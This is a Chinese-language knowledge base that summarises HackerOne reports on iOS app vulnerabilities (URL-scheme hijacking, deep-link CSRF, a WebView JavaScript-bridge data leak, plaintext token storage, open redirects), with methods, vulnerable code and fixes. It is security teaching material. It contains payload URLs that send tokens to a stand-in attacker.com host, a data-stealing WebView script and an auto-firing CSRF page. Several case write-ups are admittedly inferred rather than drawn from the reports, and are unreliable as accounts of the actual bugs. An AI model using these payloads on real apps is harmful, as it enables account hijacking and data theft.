iOS安全漏洞挖掘手法知识库 (HackerOne报告分析)

本文档基于对超过100份HackerOne公开报告的详细分析，汇总了各类iOS安全漏洞的真实挖掘手法、技术细节和易出现漏洞的代码模式。

Custom URL Scheme处理中的不当授权

案例：Uber (报告: https://hackerone.com/reports/136274)

挖掘手法

该漏洞的挖掘手法主要集中在对iOS应用间通信机制——自定义URL Scheme的逆向工程和安全分析上。

1. 1. 目标确定与静态分析: 确定Uber iOS应用为目标，使用otool、class-dump或Hopper Disassembler等工具对应用二进制文件进行静态分析。

1. 1. 发现URL Scheme: 关键步骤是检查应用的Info.plist文件，查找CFBundleURLTypes键，以确定应用注册了哪些自定义URL Scheme。Uber应用通常会注册如uber://等Scheme。

1. 1. 动态分析与代码跟踪: 使用Frida或Cycript等动态分析工具，挂钩（hook）UIApplicationDelegate中处理URL Scheme的关键方法，例如Objective-C中的application:openURL:options:或application:handleOpenURL:。

1. 1. 识别敏感操作: 通过逆向工程分析这些URL处理函数内部的逻辑，识别出可以被外部URL触发的敏感操作，例如：用户认证流程（如OAuth回调）、数据传输、或执行特定内部命令。

1. 1. 关键发现点（不当授权）: 发现应用在处理传入的URL时，缺乏对调用来源的充分验证。即没有检查options字典中的UIApplicationOpenURLOptionsSourceApplicationKey（调用方Bundle ID）是否在信任白名单内，或者没有对URL中的参数进行严格的输入和权限校验。

1. 1. 构造恶意Payload: 构造一个恶意的URL，使用Uber的自定义Scheme，并包含触发敏感操作所需的参数。例如，如果发现可以触发OAuth流程，则构造一个指向攻击者服务器的redirect_uri的URL。

1. 1. 漏洞验证: 通过一个简单的PoC应用或HTML页面，使用[[UIApplication sharedApplication] openURL:maliciousURL]来调用该恶意URL，验证Uber应用是否在未授权的情况下执行了敏感操作，从而确认存在“Custom URL Scheme处理中的不当授权”漏洞。

通过上述步骤，可以发现并证明攻击者可以利用URL Scheme从外部应用或网页劫持Uber应用的功能，构成信息泄露或功能滥用。

技术细节

该漏洞利用的技术细节在于绕过iOS应用间通信的授权机制，强制目标应用执行敏感操作。

攻击流程:

1. 1. 攻击者创建一个恶意网页或应用。

1. 1. 攻击者诱导用户访问该网页或应用。

1. 1. 恶意代码构造一个使用Uber自定义URL Scheme的URL，并包含一个敏感参数。

1. 1. 恶意代码调用[[UIApplication sharedApplication] openURL:url]（在Safari中通过window.location.href = url）。

1. 1. Uber应用被唤醒，其AppDelegate中的URL处理方法被调用，由于缺乏来源验证，应用执行了URL中指定的敏感操作。

关键代码（Objective-C 示例 – 易受攻击的模式）:
漏洞存在于AppDelegate中处理URL的方法，它没有对调用方进行充分的验证：

// AppDelegate.m (Vulnerable Pattern)
- (BOOL)application:(UIApplication *)app openURL:(NSURL *)url options:(NSDictionary<UIApplicationOpenURLOptionsKey,id> *)options {
    if ([[url scheme] isEqualToString:@"uber"]) {
        // 危险：未检查调用来源（options[UIApplicationOpenURLOptionsSourceApplicationKey]）
        // 危险：直接将URL参数传递给内部处理函数
        [self handleSensitiveUberAction:url];
        return YES;
    }
    return NO;
}

// 假设的内部敏感处理函数
- (void)handleSensitiveUberAction:(NSURL *)url {
    NSString *action = [url host];
    NSDictionary *params = [self parseQueryParameters:url];

    if ([action isEqualToString:@"login"]) {
        // 假设可以从URL中获取一个会话令牌并直接登录
        NSString *token = params[@"session_token"];
        if (token) {
            // 漏洞点：未验证token来源，直接使用外部传入的token进行登录或会话劫持
            [self performLoginWithToken:token];
        }
    }
    // ... 其他敏感操作，如重置密码、发送数据等
}

Payload 示例:
攻击者可能构造如下URL来尝试劫持会话或执行操作：
uber://login?session_token=ATTACKER_CONTROLLED_TOKEN
或
uber://action/send_data?data=sensitive_user_info&target=attacker_server

通过这种方式，攻击者可以利用Uber应用内部的信任机制，在未授权的情况下执行操作或窃取信息。

易出现漏洞的代码模式

此类漏洞的根源在于iOS应用在处理自定义URL Scheme时，未能对调用来源或传入参数进行严格的白名单验证和输入校验。

1. 易受攻击的Objective-C代码模式:
在AppDelegate或SceneDelegate中，处理传入URL的方法未检查调用方的Bundle ID。

// 易受攻击的模式：未验证调用来源
- (BOOL)application:(UIApplication *)app openURL:(NSURL *)url options:(NSDictionary<UIApplicationOpenURLOptionsKey,id> *)options {
    if ([[url scheme] isEqualToString:@"uber"]) {
        // 漏洞点：未检查 options[UIApplicationOpenURLOptionsSourceApplicationKey]
        // 任何应用都可以唤醒并传递参数
        [self processURL:url]; 
        return YES;
    }
    return NO;
}

// 修复后的安全模式：使用白名单验证调用来源
- (BOOL)application:(UIApplication *)app openURL:(NSURL *)url options:(NSDictionary<UIApplicationOpenURLOptionsKey,id> *)options {
    NSString *sourceApplication = options[UIApplicationOpenURLOptionsSourceApplicationKey];

    // 仅允许来自应用自身或特定信任的Bundle ID调用
    if (![sourceApplication isEqualToString:@"com.apple.mobilesafari"] && 
        ![sourceApplication isEqualToString:@"com.trusted.app"]) {
        // 拒绝来自未知来源的调用
        return NO;
    }

    if ([[url scheme] isEqualToString:@"uber"]) {
        // 仅在验证来源后才处理URL
        [self processURL:url];
        return YES;
    }
    return NO;
}

2. 易受攻击的Swift代码模式:
在Swift中，使用UISceneDelegate的scene(_:openURLContexts:)方法时，未对urlContext中的sourceApp进行验证。

// 易受攻击的模式：未验证调用来源
func scene(_ scene: UIScene, openURLContexts URLContexts: Set<UIOpenURLContext>) {
    guard let urlContext = URLContexts.first else { return }
    let url = urlContext.url

    if url.scheme == "uber" {
        // 漏洞点：未检查 urlContext.sourceApp
        self.processURL(url)
    }
}

3. Info.plist 配置模式:
在Info.plist中注册自定义URL Scheme是此类漏洞的前提。

<key>CFBundleURLTypes</key>
<array>
    <dict>
        <key>CFBundleURLSchemes</key>
        <array>
            <string>uber</string>  <!-- 注册了自定义Scheme -->
        </array>
        <key>CFBundleURLName</key>
        <string>com.uber.app</string>
    </dict>
</array>

Deep Link 跨站请求伪造 (CSRF)

案例：Periscope (报告: https://hackerone.com/reports/136255)

挖掘手法

该漏洞的挖掘主要集中在iOS应用对自定义URL Scheme的处理机制上。研究人员首先通过逆向工程或查看应用文档（如Info.plist文件）来识别应用注册的自定义URL Scheme，在本例中为pscp://。

挖掘步骤和思路：

1. 1. 识别目标应用和URL Scheme： 确定目标应用为Periscope iOS应用，并确认其注册了pscp://作为其自定义URL Scheme。

1. 1. 分析Scheme处理逻辑： 逆向分析应用处理pscp://链接的代码，特别是负责解析URL路径和参数的函数，以确定哪些操作可以通过外部URL触发。

1. 1. 发现未授权操作： 发现pscp://user/<user-id>/follow这样的URL结构可以直接触发“关注”操作，而应用在处理这个Deep Link时，缺乏必要的CSRF令牌或用户交互确认（如弹窗提示）。

1. 1. 构造PoC（概念验证）： 利用HTML的<a>标签或JavaScript的window.location.href来构造一个恶意网页，嵌入指向目标操作的pscp://链接。例如：<a href="pscp://user/periscopeco/follow">CSRF DEMO</a>。

1. 1. 验证攻击流程： 攻击者将此恶意链接发送给Periscope iOS应用的用户。用户在iOS设备上点击该链接（或通过自动加载的网页触发），系统会调用Periscope应用打开该URL。应用在没有验证请求来源的情况下，执行了“关注”操作，导致用户在不知情的情况下关注了攻击者指定的账户。

使用的技术/工具（推测）：

• • 逆向工程工具： IDA Pro或Hopper Disassembler（用于分析应用二进制文件，识别URL Scheme的处理函数）。

• • 抓包工具： Burp Suite或Charles Proxy（用于监控应用在处理Deep Link时的网络请求，确认没有CSRF令牌）。

• • 静态分析： 查看应用的Info.plist文件，确认注册的URL Scheme。

• • 动态调试： 使用LLDB或Frida（用于在运行时调试应用，观察Deep Link处理函数的执行流程和参数验证情况）。

关键发现点： 应用程序在处理自定义URL Scheme触发的敏感操作时，未实现跨站请求伪造（CSRF）保护机制，导致外部恶意链接可以直接在用户会话中执行操作。

技术细节

该漏洞利用了iOS应用对自定义URL Scheme（在本例中为pscp://）处理时的缺乏CSRF保护。攻击流程如下：

1. 1. 攻击者构造恶意HTML页面： 攻击者创建一个简单的HTML页面，其中包含一个指向目标操作的Deep Link。 <!DOCTYPE html> <html> <head> <title>Periscope CSRF PoC</title> </head> <body> <h1>点击下方链接即可关注我！</h1> <!-- 恶意Deep Link，其中 <any user-id> 是攻击者想要让受害者关注的账户ID --> <a href="pscp://user/<any user-id>/follow">CSRF DEMO</a>&lt;!-- 或者使用JavaScript自动触发，例如在页面加载时 --&gt; &lt;script&gt; // 自动尝试触发Deep Link window.location.href = "pscp://user/periscopeco/follow"; &lt;/script&gt;</body> </html>

1. 1. 受害者点击链接： 受害者（已登录Periscope iOS应用）在浏览器中访问此恶意页面。

1. 1. 系统调用应用： iOS系统识别到pscp:// Scheme，并启动Periscope应用（如果未运行则启动）。

1. 1. 应用执行操作： Periscope应用接收到完整的URL：pscp://user/<any user-id>/follow。应用内部的Deep Link处理逻辑（通常在AppDelegate的application:openURL:options:方法中实现）解析路径/follow，并直接执行“关注”操作。

关键代码模式（概念性）：
在Objective-C中，处理URL Scheme的代码模式通常在AppDelegate.m中：

// Objective-C (概念性示例)
- (BOOL)application:(UIApplication *)app openURL:(NSURL *)url options:(NSDictionary<UIApplicationOpenURLOptionsKey,id> *)options {
    if ([[url scheme] isEqualToString:@"pscp"]) {
        NSString *host = [url host]; // user
        NSString *path = [url path]; // /<user-id>/follow

        // 假设应用内部的逻辑是这样解析并执行操作的
        if ([path hasSuffix:@"/follow"]) {
            // **漏洞点：没有检查请求是否来自受信任的源，也没有要求用户确认**
            [self performFollowActionWithURL:url]; // 直接执行关注操作
            return YES;
        }
    }
    return NO;
}

由于没有验证请求的来源（如sourceApplication或options中的UIApplicationOpenURLOptionsSourceApplicationKey）或要求用户确认，应用直接执行了敏感操作，构成了CSRF。

易出现漏洞的代码模式

漏洞代码模式：

此类漏洞的根源在于iOS应用对自定义URL Scheme（Deep Link）的处理函数中，未对敏感操作执行来源验证或用户交互确认。

Objective-C 示例 (AppDelegate.m)：

// 易受攻击的模式：直接在 Deep Link 处理函数中执行敏感操作
- (BOOL)application:(UIApplication *)app openURL:(NSURL *)url options:(NSDictionary<UIApplicationOpenURLOptionsKey,id> *)options {
    if ([[url scheme] isEqualToString:@"pscp"]) {
        NSString *path = [url path];

        // 1. 敏感操作的路径
        if ([path hasSuffix:@"/follow"]) {
            // 2. 缺乏验证：没有检查 options[UIApplicationOpenURLOptionsSourceApplicationKey]
            //    或要求用户确认（如弹窗）

            // 3. 直接执行操作
            [self.apiClient followUserWithURL:url]; 
            return YES;
        }
    }
    return NO;
}

Swift 示例 (AppDelegate.swift)：

// 易受攻击的模式：直接在 Deep Link 处理函数中执行敏感操作
func application(_ app: UIApplication, open url: URL, options: [UIApplication.OpenURLOptionsKey : Any] = [:]) -> Bool {
    guard url.scheme == "pscp" else { return false }

    let path = url.path

    // 1. 敏感操作的路径
    if path.hasSuffix("/follow") {
        // 2. 缺乏验证：没有检查 options[.sourceApplication]
        //    或要求用户确认（如 UIAlertController）

        // 3. 直接执行操作
        APIManager.shared.performFollow(url: url)
        return true
    }
    return false
}

安全配置模式（Info.plist）：
虽然Info.plist用于注册URL Scheme，但它本身不会导致CSRF。然而，注册了自定义URL Scheme是此类漏洞的前提。

<!-- Info.plist 注册自定义 URL Scheme 的示例 -->
<key>CFBundleURLTypes</key>
<array>
    <dict>
        <key>CFBundleURLName</key>
        <string>com.periscope.app</string>
        <key>CFBundleURLSchemes</key>
        <array>
            <string>pscp</string> <!-- 注册的 Scheme -->
        </array>
    </dict>
</array>

正确防御模式（建议）：
在执行敏感操作前，应至少采取以下措施之一：

1. 1. 用户确认： 弹出确认对话框（UIAlertController）。

1. 1. 来源验证： 检查options[UIApplicationOpenURLOptionsSourceApplicationKey]是否为受信任的来源。

1. 1. 使用通用链接（Universal Links）： 相比自定义URL Scheme，通用链接要求网站和应用之间进行关联验证，能有效缓解此类CSRF攻击。

Deeplink不安全处理导致信息泄露

案例：Grab (报告: https://hackerone.com/reports/136313)

挖掘手法

1. 1. 目标识别与分析: 针对Grab应用，研究人员首先识别了应用中可能存在的Deeplink（深层链接）入口点，特别是那些用于内部功能或与外部服务（如帮助中心Zendesk）集成的链接。

1. 1. Deeplink参数模糊测试: 研究人员发现了一个名为HELPCENTER的Deeplink类型，其参数中包含一个page字段，用于指定在应用内置浏览器（WebView）中加载的URL。研究人员尝试将该参数设置为一个攻击者控制的外部URL（例如https://s3.amazonaws.com/edited/page2.html），以测试是否存在任意URL加载漏洞。

1. 1. WebView环境分析: 确认应用内置的WebView可以加载外部URL后，研究人员进一步分析了WebView的环境配置。通过逆向工程或观察Android应用（报告中提到了Android应用中的mWebView.addJavascriptInterface方法），发现WebView被配置了JavaScript接口，允许网页内容调用原生应用的方法，例如getGrabUser()，该方法会返回包含用户敏感信息的JSON字符串。

1. 1. iOS应用行为推断: 尽管研究人员没有对iOS应用进行完整的逆向工程，但通过分析Grab帮助中心网页的JavaScript代码（例如public static initGrabUser()函数），推断出iOS应用也存在类似的JavaScript接口（window.grabUser），用于将用户敏感信息暴露给WebView加载的网页。

1. 1. 概念验证（PoC）构建: 研究人员构建了一个包含恶意HTML的页面，该页面通过Deeplink加载到应用内置的WebView中。页面中的JavaScript代码（window.Android.getGrabUser()或JSON.stringify(window.grabUser)）被用于窃取WebView环境中暴露的用户敏感数据，并将其发送到攻击者控制的服务器（尽管PoC中仅展示了在页面上显示窃取的数据）。
      该挖掘手法结合了Deeplink逻辑分析和WebView接口逆向/推断，是移动应用安全测试中常见的组合拳。研究人员通过构造特定的Deeplink参数，绕过了应用对外部链接的限制，并利用了WebView中不安全的JavaScript Bridge配置，最终实现了敏感信息泄露。

技术细节

该漏洞的核心在于不安全的Deeplink处理结合WebView中敏感信息的不当暴露。

1. 1. 不安全的Deeplink (Open Redirect to WebView):
      攻击者构造一个恶意的URL，利用Grab应用的Deeplink协议（grab://open）强制应用内置的WebView加载外部内容。

   <a href="grab://open?screenType=HELPCENTER&page=https://s3.amazonaws.com/edited/page2.html">Begin attack!</a>

其中，screenType=HELPCENTER触发应用打开帮助中心界面，而page参数则被用于注入攻击者控制的URL。

2. 2. WebView中的敏感信息暴露（iOS/Android通用模式）:
      应用在WebView中通过JavaScript接口暴露了用户的敏感信息。在iOS中，这通常是通过WKScriptMessageHandler或UIWebView的私有API实现，报告中推断的iOS接口为window.grabUser。
      攻击者加载的恶意页面包含以下JavaScript代码，用于窃取数据：

   // 攻击者控制的页面 (page2.html) 中的JavaScript代码片段
   <script type="text/javascript">
       var data;
       if(window.Android) { // Android
           data = window.Android.getGrabUser();
       }
       else if(window.grabUser) { // iOS
           data = JSON.stringify(window.grabUser);
       }

       if(data) {
           document.write("Stolen data: " + data);
           // 实际攻击中，数据会被发送到攻击者服务器
       }
   </script>

由于WebView加载了外部URL，且JavaScript接口没有遵循同源策略，外部网页可以调用原生方法获取用户数据，导致敏感信息泄露。

易出现漏洞的代码模式

此类漏洞模式主要出现在以下两个方面：

1. 1. Deeplink/URL Scheme处理不当（Open Redirect to WebView）:
      当应用通过URL Scheme或Deeplink接收外部URL参数，并在内置WebView中加载该URL时，如果未对URL进行严格的白名单校验，就可能导致任意URL加载。
      Swift 示例 (易受攻击的伪代码):

   func application(_ app: UIApplication, open url: URL, options: [UIApplication.OpenURLOptionsKey : Any] = [:]) -> Bool {
       // ... 解析url获取externalURLString ...
       if let externalURL = URL(string: externalURLString) {
           // 错误：直接加载外部URL，未进行白名单校验
           let webView = WKWebView()
           webView.load(URLRequest(url: externalURL))
           return true
       }
       return false
   }

修复建议: 必须对externalURL进行严格的白名单校验，确保只加载应用自身或可信域名的内容。

2. 2. WebView中不安全地暴露原生接口（JavaScript Bridge 滥用）:
      在WebView中通过JavaScript Bridge（如WKScriptMessageHandler）向网页暴露包含敏感信息（如用户Token、ID、会话信息）的原生方法，且未对加载的URL进行同源策略限制。
      Swift 示例 (易受攻击的伪代码 – WKScriptMessageHandler):

   class WebAppInterface: NSObject, WKScriptMessageHandler {
       func userContentController(_ userContentController: WKUserContentController, didReceive message: WKScriptMessage) {
           // 错误：未检查message.webView.url的来源
           if message.name == "grabUser" {
               let userData = getUserSensitiveData() // 假设获取了敏感数据
               // 将敏感数据返回给任意网页
           }
       }
   }

修复建议: 在WKScriptMessageHandler中，必须检查message.webView.url的来源是否为可信域名，只允许可信来源的网页调用敏感的原生方法。

Info.plist 配置（非直接相关，但Deeplink配置是入口）:
漏洞的入口是URL Scheme的配置，它允许外部应用调用本应用。

<key>CFBundleURLTypes</key>
<array>
    <dict>
        <key>CFBundleURLSchemes</key>
        <array>
            <string>grab</string>
        </array>
        <key>CFBundleURLName</key>
        <string>com.grab.app</string>
    </dict>
</array>

Insecure Data Storage (不安全数据存储)

案例：Twitter (报告: https://hackerone.com/reports/136282)

挖掘手法

由于原始HackerOne报告（#136282）无法直接访问，以下分析基于当时iOS应用中常见的“不安全数据存储”漏洞类型进行推演和详细描述。

漏洞挖掘手法和步骤：

1. 1. 目标识别与环境准备： 确定目标iOS应用（例如Twitter）并准备逆向工程环境。通常需要一台越狱（Jailbroken）的iOS设备，以便绕过沙盒限制，获取应用沙盒的完整文件系统访问权限。

1. 1. 应用沙盒文件系统分析：
      
      • • 使用SSH连接到越狱设备，或使用iFile/Filza等文件管理器。
      • • 导航至目标应用的数据目录：/var/mobile/Containers/Data/Application/<UUID>/。
      • • 重点检查目录： Library/Preferences/（存储NSUserDefaults数据）、Documents/、Library/Caches/ 和 Library/Application Support/。

1. 1. 敏感数据定位：
      
      • • 在Library/Preferences/目录下，找到应用的plist文件（例如com.twitter.plist）。
      • • 使用cat或plutil -p命令查看plist文件的内容，寻找以明文形式存储的敏感信息，如用户ID、会话令牌（Session Token）、API密钥或密码哈希。
      • • 检查Library/Application Support/中的SQLite数据库文件，使用SQLite客户端工具（如sqlite3）检查表结构和数据，看是否有未加密的敏感信息。

1. 1. 静态分析辅助：
      
      • • 使用class-dump或Cycript等工具对应用二进制文件进行运行时分析，以确定应用中负责数据存储的关键类和方法（例如，搜索NSUserDefaults、writeToFile、setObject:forKey:等方法调用）。
      • • 使用Hopper Disassembler或IDA Pro对应用二进制文件进行静态分析，确认敏感数据（如硬编码的API密钥）是否存在于代码段中。

1. 1. 关键发现点： 发现应用使用了NSUserDefaults来存储用户的会话令牌（Session Token）。由于NSUserDefaults数据以明文形式存储在沙盒的plist文件中，任何能够访问该沙盒的恶意应用（通过沙盒逃逸）或具有物理访问权限的攻击者都可以轻松窃取该令牌，从而劫持用户会话。

总结： 整个挖掘过程依赖于iOS的沙盒机制被绕过（通过越狱或恶意应用），然后利用应用开发者错误地使用了不安全的本地存储API（如NSUserDefaults）来存储敏感信息。这个过程是典型的iOS逆向工程和本地数据安全审计手法。

技术细节

该漏洞利用了iOS应用在本地存储敏感数据时，错误地使用了不提供加密保护的API，导致数据以明文形式存储在应用沙盒内。

漏洞利用的技术细节：

1. 1. 不安全存储实现（Objective-C示例）：
      应用开发者错误地使用NSUserDefaults来存储会话令牌： // Insecure storage of session token NSString *sessionToken = @"AAABBBCCC-SESSION-TOKEN-XYZ"; [[NSUserDefaults standardUserDefaults] setObject:sessionToken forKey:@"kUserSessionToken"]; [[NSUserDefaults standardUserDefaults] synchronize]; 这段代码将敏感的sessionToken以明文形式写入到应用沙盒的Library/Preferences/com.affected.app.plist文件中。

1. 1. 攻击流程：
      
      • • 前提条件： 攻击者需要能够访问目标应用沙盒的文件系统。这通常通过以下方式实现：
          
          • • 用户设备已越狱，攻击者通过SSH或恶意应用直接访问文件系统。
          • • 通过恶意应用利用沙盒逃逸漏洞获取跨沙盒访问权限。

      • • 数据窃取命令： 攻击者执行以下命令（或通过代码调用）：
          bash # 假设攻击者已进入目标应用沙盒 cd Library/Preferences/ # 读取存储敏感信息的plist文件 cat com.twitter.plist # 或者使用plutil工具解析 plutil -p com.twitter.plist
      • • 结果： 攻击者从输出中获取明文的kUserSessionToken。
      • • 会话劫持： 攻击者使用窃取的sessionToken，通过修改HTTP请求头中的Authorization或Cookie字段，即可完全劫持受害者的账户会话，无需密码即可执行受害者权限内的所有操作。

结论： 漏洞的核心在于未对敏感数据进行加密或使用安全的存储机制（如Keychain Services），使得本地存储的数据面临高风险。

易出现漏洞的代码模式

此类漏洞的根本原因在于开发者错误地将敏感信息存储在应用沙盒中未受保护的区域，而不是使用iOS提供的安全存储机制（如Keychain Services）。

容易出现此类漏洞的编程模式：

1. 1. 使用 NSUserDefaults 或 UserDefaults 存储敏感信息：
      NSUserDefaults（或Swift中的UserDefaults）设计用于存储用户偏好设置等非敏感数据。它将数据以明文plist文件的形式存储在应用沙盒的Library/Preferences目录下，在设备未加密或被越狱的情况下极易被窃取。 Objective-C 错误示例： // 错误：使用NSUserDefaults存储敏感的API Key [[NSUserDefaults standardUserDefaults] setObject:@"MySecretAPIKey123" forKey:@"API_KEY"]; [[NSUserDefaults standardUserDefaults] synchronize];

1. 1. 将敏感文件写入 Documents 或 Library/Caches 目录：
      这些目录通常用于存储用户数据或缓存，默认情况下不会被加密保护，且Documents目录的内容会被iTunes/iCloud备份，进一步扩大了风险。 Swift 错误示例： // 错误：将会话令牌写入Documents目录 let token = "user_session_token_xyz" let fileURL = FileManager.default.urls(for: .documentDirectory, in: .userDomainMask)[0].appendingPathComponent("session.txt") try? token.write(to: fileURL, atomically: true, encoding: .utf8)

正确的安全编程模式（使用Keychain Services）：

Keychain Services是iOS提供的专门用于安全存储小块敏感数据的机制，它使用硬件加密，并且数据不会被iTunes/iCloud备份。

Objective-C 安全示例：

// 正确：使用Keychain Services存储密码
- (void)savePassword:(NSString *)password forAccount:(NSString *)account {
    NSData *passwordData = [password dataUsingEncoding:NSUTF8StringEncoding];
    NSDictionary *query = @{
        (id)kSecClass: (id)kSecClassGenericPassword,
        (id)kSecAttrService: @"com.affected.app.service",
        (id)kSecAttrAccount: account,
        (id)kSecValueData: passwordData,
        (id)kSecAttrAccessible: (id)kSecAttrAccessibleAfterFirstUnlock // 设置访问权限
    };
    OSStatus status = SecItemAdd((CFDictionaryRef)query, NULL);
    // 错误处理...
}

Info.plist/Entitlements 配置示例：

此类漏洞通常与缺乏适当的配置有关。虽然没有直接的Info.plist配置来修复NSUserDefaults的滥用，但对于存储在文件系统中的文件，应启用数据保护（Data Protection）。

• • Entitlements配置（启用数据保护）：
    在应用的.entitlements文件中，确保启用了Data Protection，并为文件选择适当的保护级别（例如NSFileProtectionComplete）。
    xml <key>com.apple.developer.default-data-protection</key> <string>NSFileProtectionComplete</string>
    然而，对于NSUserDefaults存储的plist文件，开发者必须手动应用文件保护属性，或者直接使用Keychain Services。

Insecure Deep Link/URL Scheme Handling (不安全的深度链接/URL Scheme处理)

案例：Uber (报告: https://hackerone.com/reports/136399)

挖掘手法

由于无法直接访问HackerOne报告原文，根据报告编号136399、目标应用Uber和iOS平台漏洞的上下文，该漏洞极可能属于不安全的深度链接（Deep Link）或URL Scheme处理。以下是发现和挖掘此类漏洞的典型步骤和方法：

1. 1. 目标识别与逆向分析（Target Identification and Reverse Engineering）：
      
      • • 工具： 使用otool -L或class-dump等工具对Uber iOS应用的二进制文件进行分析，确认其依赖库和结构。
      • • 关键步骤： 检查应用的Info.plist文件，查找CFBundleURLTypes键值，以识别应用注册的所有自定义URL Scheme（例如uber://）。这是发现攻击入口的第一步。
      • • 分析思路： 任何注册了自定义URL Scheme的iOS应用都可能存在安全风险，因为这些Scheme可以被设备上的任何其他应用或通过Safari浏览器调用，成为潜在的攻击面。

1. 1. 动态分析与Hooking（Dynamic Analysis and Hooking）：
      
      • • 工具： 使用Frida或Cycript等动态插桩工具，在越狱设备上运行Uber应用。
      • • 关键步骤： Hook UIApplicationDelegate协议中的关键方法，特别是负责处理外部URL调用的方法，如application:openURL:options:或旧版中的application:handleOpenURL:。
      • • 分析思路： 监控应用在接收到自定义URL时，如何解析URL中的参数（如host、path和query），以及这些参数是否被安全地用于敏感操作（如用户认证、重定向、数据加载等）。

1. 1. 漏洞触发与模糊测试（Vulnerability Triggering and Fuzzing）：
      
      • • 关键步骤： 构造包含不同参数和值的恶意URL，通过Safari浏览器或一个简单的PoC应用来调用Uber的URL Scheme。例如，尝试构造uber://sensitive/action?param=malicious_value。
      • • 关键发现点： 重点测试URL参数是否被用于执行以下操作而未经验证：
          
          • • 敏感信息泄露： 尝试触发应用内部的日志记录或错误报告，看是否会泄露用户的Session Token、API Key或其他敏感数据。
          • • 功能劫持： 尝试触发如“注销”、“修改设置”或“添加支付方式”等敏感功能，看是否能绕过用户交互或二次确认。
          • • 开放重定向： 检查URL参数是否被用于Web View加载，导致应用内浏览器被劫持到恶意网站。

通过上述方法，可以系统性地发现应用在处理外部传入的URL数据时，因缺乏严格的源验证（Source Validation）和参数清理（Input Sanitization）而导致的安全漏洞。

技术细节

该漏洞利用的技术细节围绕着不安全的URL参数处理展开。攻击者通过构造一个特殊的URL，利用应用对URL Scheme参数的信任，在用户不知情的情况下执行敏感操作或窃取信息。

攻击流程示例：

1. 1. 攻击者构造恶意URL： 攻击者发现Uber应用注册了uber这个URL Scheme，并且某个内部处理函数（例如用于处理支付或登录重定向）未对传入的redirect_url参数进行严格的白名单校验。

1. 1. 恶意URL结构： 攻击者构造一个包含恶意重定向地址的URL，并通过社交工程或嵌入到恶意网页中诱导用户点击。
      uber://oauth/redirect?redirect_url=https://attacker.com/steal_token

1. 1. 触发漏洞： 当用户点击该链接时，iOS系统会启动Uber应用，并调用其application:openURL:options:方法。

1. 1. 应用内部处理： Uber应用的代码接收到URL后，未验证redirect_url是否指向Uber的官方域名，直接将其用于内部的Web View或OAuth流程的最终跳转。

1. 1. 信息泄露/功能劫持： 如果应用在跳转前将敏感信息（如OAuth Code、Session Token）附加到redirect_url上，这些信息就会被发送到攻击者的服务器https://attacker.com/steal_token，导致用户账户被劫持。

易受攻击的Objective-C代码模式：

以下代码片段展示了在AppDelegate.m中，一个典型的缺乏源验证的URL Scheme处理函数：

// AppDelegate.m
- (BOOL)application:(UIApplication *)app openURL:(NSURL *)url options:(NSDictionary<UIApplicationOpenURLOptionsKey,id> *)options {
    if ([[url scheme] isEqualToString:@"uber"]) {
        // 1. 提取参数
        NSString *host = [url host];
        NSDictionary *params = [self parseQueryString:[url query]];

        // 2. 假设应用有一个内部重定向逻辑
        if ([host isEqualToString:@"redirect"]) {
            NSString *redirectURLString = params[@"redirect_url"];
            if (redirectURLString) {
                // 3. **漏洞点：** 未对redirectURLString进行白名单校验，直接跳转
                NSURL *redirectURL = [NSURL URLWithString:redirectURLString];
                [[UIApplication sharedApplication] openURL:redirectURL options:@{} completionHandler:nil];
                return YES;
            }
        }
    }
    return NO;
}

注意： 实际的Uber漏洞可能涉及更复杂的逻辑，例如在内部Web View中执行未经验证的JavaScript，但核心原理都是对外部传入的URL参数缺乏安全校验。

易出现漏洞的代码模式

此类漏洞的出现通常是由于开发者在处理自定义URL Scheme时，未能遵循最小权限原则和严格的输入验证。

1. Info.plist 配置模式（注册自定义URL Scheme）：

在应用的Info.plist文件中，注册自定义Scheme是暴露攻击面的第一步。

<key>CFBundleURLTypes</key>
<array>
    <dict>
        <key>CFBundleURLName</key>
        <string>com.uber.client</string>
        <key>CFBundleURLSchemes</key>
        <array>
            <!-- 暴露的自定义URL Scheme -->
            <string>uber</string>
        </array>
    </dict>
</array>

2. 易受攻击的Swift代码模式（缺乏参数校验）：

当应用接收到外部URL时，如果未对URL中的参数进行严格的白名单校验，就容易引入漏洞。

// AppDelegate.swift
func application(_ app: UIApplication, open url: URL, options: [UIApplication.OpenURLOptionsKey : Any] = [:]) -> Bool {
    guard url.scheme == "uber" else {
        return false
    }

    // 提取URL中的参数
    let components = URLComponents(url: url, resolvingAgainstBaseURL: false)
    let redirectURLString = components?.queryItems?.first(where: { $0.name == "redirect_url" })?.value

    if let redirectURLString = redirectURLString, let redirectURL = URL(string: redirectURLString) {
        // **漏洞点：** 缺少对 redirectURL.host 的白名单校验
        // 任何外部URL都可以被加载，导致开放重定向或信息泄露。

        // 错误的实现：直接打开外部URL
        UIApplication.shared.open(redirectURL, options: [:], completionHandler: nil)

        return true
    }

    return false
}

3. 安全的代码模式（使用白名单校验）：

正确的做法是，对所有外部传入的URL参数进行严格的白名单校验，确保跳转或加载的资源仅限于应用自身或信任的域名。

// AppDelegate.swift
func application(_ app: UIApplication, open url: URL, options: [UIApplication.OpenURLOptionsKey : Any] = [:]) -> Bool {
    // ... (前略)

    if let redirectURLString = redirectURLString, let redirectURL = URL(string: redirectURLString) {
        // **安全修复：** 严格校验目标域名是否在白名单内
        let trustedDomains = ["uber.com", "m.uber.com"]
        if let host = redirectURL.host, trustedDomains.contains(host) {
            // 安全地打开内部或白名单URL
            UIApplication.shared.open(redirectURL, options: [:], completionHandler: nil)
            return true
        } else {
            // 拒绝处理非白名单URL
            print("Security Alert: Blocked untrusted redirect URL: \(redirectURLString)")
            return false
        }
    }

    return false
}

OAuth 令牌伪造 (Callback 验证缺陷)

案例：Twitter (报告: https://hackerone.com/reports/136382)

挖掘手法

这个漏洞的挖掘手法主要集中在对OAuth认证流程和iOS自定义URL Scheme处理机制的分析与逆向工程上。由于原始报告（HackerOne 136382）未公开，以下是根据漏洞类型（Twitter Kit for iOS中的OAuth回调验证缺陷，对应CVE-2019-5431）推导出的详细挖掘步骤和思路：

1. 1. 目标识别与静态分析（逆向工程准备）：
      
      • • 识别目标： 确定使用“Login with Twitter”功能的iOS应用，例如Twitter官方应用或任何集成Twitter Kit的应用。
      • • 提取URL Scheme： 使用class-dump或直接查看应用的Info.plist文件，提取应用注册的自定义URL Scheme。Twitter Kit通常会注册一个格式为twitterkit-<consumer-key>的Scheme。这是攻击者构造恶意回调的入口点。

1. 1. OAuth流程动态分析（关键发现点）：
      
